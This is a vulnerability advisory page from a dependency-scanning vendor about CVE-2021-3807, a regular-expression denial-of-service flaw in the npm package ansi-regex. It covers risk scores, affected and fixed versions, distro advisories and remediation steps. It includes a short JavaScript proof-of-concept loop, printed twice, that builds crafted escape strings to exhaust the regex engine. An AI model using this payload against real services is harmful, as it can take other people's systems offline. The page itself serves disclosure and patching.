Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2021-3807 — ansi-regex

HIGHFix: chalk/ansi-regex@8d1d7cd

CVE-2021-3807 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in ansi-regex. 1 public exploit reference exists, so weaponization risk is real. A fix is available for ansi-regex — see the affected versions and patch details below.

Inefficient Regular Expression Complexity in chalk/ansi-regex

Also known asGHSA-93q8-gq69-wqmw
Published
Updated
Affected
4 pkgs
Patched
4 / 4
Exploits
1 known
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2021-3807.

EPSS Exploitation Probability

via FIRST.org ↗
3.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs89th percentile — riskier than 89% of all scored CVEsHighest risk
0.00%1.52%3.04%4.55%0.2%3.6%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2021-3807 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

4 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

3Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
ansi-regexnpm
324.7Mdownloads / week

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
📦npmansi-regex≥ 6.0.0&&< 6.0.16.0.1npm install ansi-regex@6.0.1
📦npmansi-regex≥ 5.0.0&&< 5.0.15.0.1npm install ansi-regex@5.0.1
📦npmansi-regex≥ 4.0.0&&< 4.1.14.1.1npm install ansi-regex@4.1.1
📦npmansi-regex≥ 3.0.0&&< 3.0.13.0.1npm install ansi-regex@3.0.1

Affected Products

2 products · 5 configurations
Application
ansi-regexansi-regex_project
≥ 4.0.0 && < 4.1.1
3 versions
3.0.05.0.06.0.0
Application
communications cloud native core policyoracle
1 version
1.15.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ansi-regex, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update ansi-regex to 6.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-3807 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This flaw requires crafted invalid ANSI escape codes in order to be exploited and only allows for denial of service of applications on the client side, hence the impact has been rated as Moderate. In Red Hat Virtualization and Red Hat Quay some components use a vulnerable version of ansi-regex. However, all frontend…

ProductFixed inAdvisory
Red Hat Enterprise Linux 8nodejs:16-8050020211206113934.c5368500RHSA-2021:5171
Red Hat Enterprise Linux 8nodejs:14-8050020211213115342.c5368500RHSA-2022:0350
Red Hat Enterprise Linux 8nodejs:16-8060020220805104227.ad008a3aRHSA-2022:6449
Red Hat Enterprise Linux 8.4 Extended Update Supportnodejs:14-8040020211213111158.522a0ee4RHSA-2022:0246
Red Hat Enterprise Linux 9nodejs-nodemon-0:2.0.19-1.el9_0RHSA-2022:6595
Red Hat Fuse 7.11io.hawt-hawtio-onlineRHSA-2022:5532
Red Hat Migration Toolkit for Containers 1.6rhmtc/openshift-migration-ui-rhel8:v1.6.5-8RHSA-2022:4814
Red Hat Migration Toolkit for Containers 1.7rhmtc/openshift-migration-ui-rhel8:v1.7.2-9RHSA-2022:5483

Frequently Asked Questions

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`
O3 Security · Impact-Aware SCA

Is CVE-2021-3807 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2021-3807: ansi-regex DoS — Fixed in 6.0.1